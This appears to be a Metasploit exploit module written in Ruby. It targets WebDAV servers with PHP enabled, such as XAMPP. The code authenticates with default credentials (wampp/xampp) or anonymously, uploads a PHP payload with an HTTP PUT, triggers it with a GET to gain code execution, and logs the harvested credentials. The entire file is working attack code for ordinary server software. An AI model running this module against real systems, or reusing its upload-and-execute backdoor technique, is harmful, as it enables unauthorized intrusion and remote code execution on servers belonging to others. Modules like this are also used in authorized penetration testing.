## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/windows/http/xampp_webdav_upload_php' def initialize(_info = {}) super( 'Name' => 'WebDAV PHP Upload', 'Description' => %q{ This module exploits WebDAV which also has PHP enabled, such as found on XAMPP servers. It can use do by using any supplied credentials to upload via WebDAV, a PHP payload and then execute it. }, 'Author' => [ 'theLightCosine', 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic', {} ], ], 'DisclosureDate' => '2012-01-14', 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2012-10062' ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) register_options( [ OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]), OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]), OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]), OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ]) ] ) end def build_res_creds if !datastore['USERNAME'].to_s.empty? vprint_status 'Using credentials for WebDAV' { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } else vprint_status 'Anonymous authentication for WebDAV' {} end end def print_res_code(res, res_creds) if res.code == 401 print_warning 'Creds may be required' if res_creds.empty? print_warning 'Creds may be incorrect' if !res_creds.empty? end end def report_webdav_service(res, creds) header_server = res.headers['Server'].to_s.strip vprint_status "Server: #{header_server}" opts = { ip: rhost, port: rport, service_name: 'webdav', proto: 'tcp', proof: res.code.to_s }.merge(creds.transform_keys(&:to_sym)) service = report_service( host: opts[:ip], port: opts[:port], proto: opts[:proto], name: opts[:service_name], info: header_server, parents: { name: ssl ? 'https' : 'http', host: opts[:ip], port: opts[:port], proto: opts[:proto], parents: { name: 'tcp', host: opts[:ip], port: opts[:port], proto: opts[:proto], parents: nil } } ) [opts, service] end def report_webdav_creds(opts, service) # XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit() report_vuln( host: opts[:ip], service: service, name: name ) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: opts[:proto], workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:username], private_data: opts[:password], private_type: :password }.merge service_data login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge service_data create_credential_login login_data end def check test_file = rand_text_alphanumeric(rand(8..15)) + '.php' test_url = normalize_uri(datastore['URI'], test_file) payload = rand_text_alphanumeric(rand(8..15)) res_creds = build_res_creds # Check vprint_status "Checking for WebDAV: #{datastore['URI']}" res = send_request_raw({ 'uri' => normalize_uri(datastore['URI']), 'method' => 'OPTIONS' }.merge(res_creds), 10) return Exploit::CheckCode::Unknown('No response received from the target') unless res unless res.code == 200 print_error "Target responded: HTTP #{res.code}, should be 200" print_res_code(res, res_creds) return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP status #{res.code}") end # Record results! opts, service = report_webdav_service(res, res_creds) # First see if it already exists (it really shouldn't) vprint_status "Checking for test file: #{test_url}" res = send_request_raw({ 'uri' => test_url }.merge(res_creds), 10) return Exploit::CheckCode::Unknown('No response received from the target') unless res return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file # Try to create it vprint_status "Attempting to upload: #{test_url}" res = send_request_cgi({ 'uri' => test_url, 'method' => 'PUT', 'data' => payload }.merge(res_creds), 10) return Exploit::CheckCode::Unknown('No response received from the target') unless res ## Often its HTTP 201 unless res.code.to_i.between?(200, 299) print_error "Error with upload request (HTTP #{res.code}, should be 2xx)" print_res_code(res, res_creds) return Exploit::CheckCode::Unknown("Upload request failed with HTTP status #{res.code}") end # Record results! report_webdav_creds(opts, service) # Try to run it vprint_status "Checking if created: #{test_url}" res = send_request_cgi({ 'uri' => test_url }.merge(res_creds)) return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299) return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload) # Clean up vprint_status "Attempting to delete: #{test_url}" res = send_request_cgi({ 'uri' => test_url, 'method' => 'DELETE' }.merge(res_creds), 10) return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res # Exploit uses cmd to delete via file system, not HTTP DELETE request print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204 # Done return Exploit::CheckCode::Vulnerable('The target is vulnerable') end def exploit uri = build_path res_creds = build_res_creds print_status "Uploading payload: #{uri}" res = send_request_cgi({ 'uri' => uri, 'method' => 'PUT', 'data' => payload.raw }.merge(res_creds), 10) ## Often its HTTP 201 unless res&.code&.between?(200, 299) print_error 'Failed to upload file!' if res print_error "Error with upload request (HTTP #{res.code}, should be 2xx)" print_res_code(res, res_creds) else print_error 'No response received from server' end return end # Record results! opts, service = report_webdav_service(res, res_creds) report_webdav_creds(opts, service) print_status 'Attempting to execute payload' # Very short timeout because the request may never return if we're sending a socket payload send_request_cgi({ 'uri' => uri, 'method' => 'GET' }.merge(res_creds), 0.01) register_file_for_cleanup(@backdoor) end def build_path uri_path = normalize_uri(datastore['URI']) uri_path << '/' unless uri_path.ends_with?('/') @backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7) @backdoor << '.php' unless @backdoor.end_with?('.php') uri_path << @backdoor return uri_path end end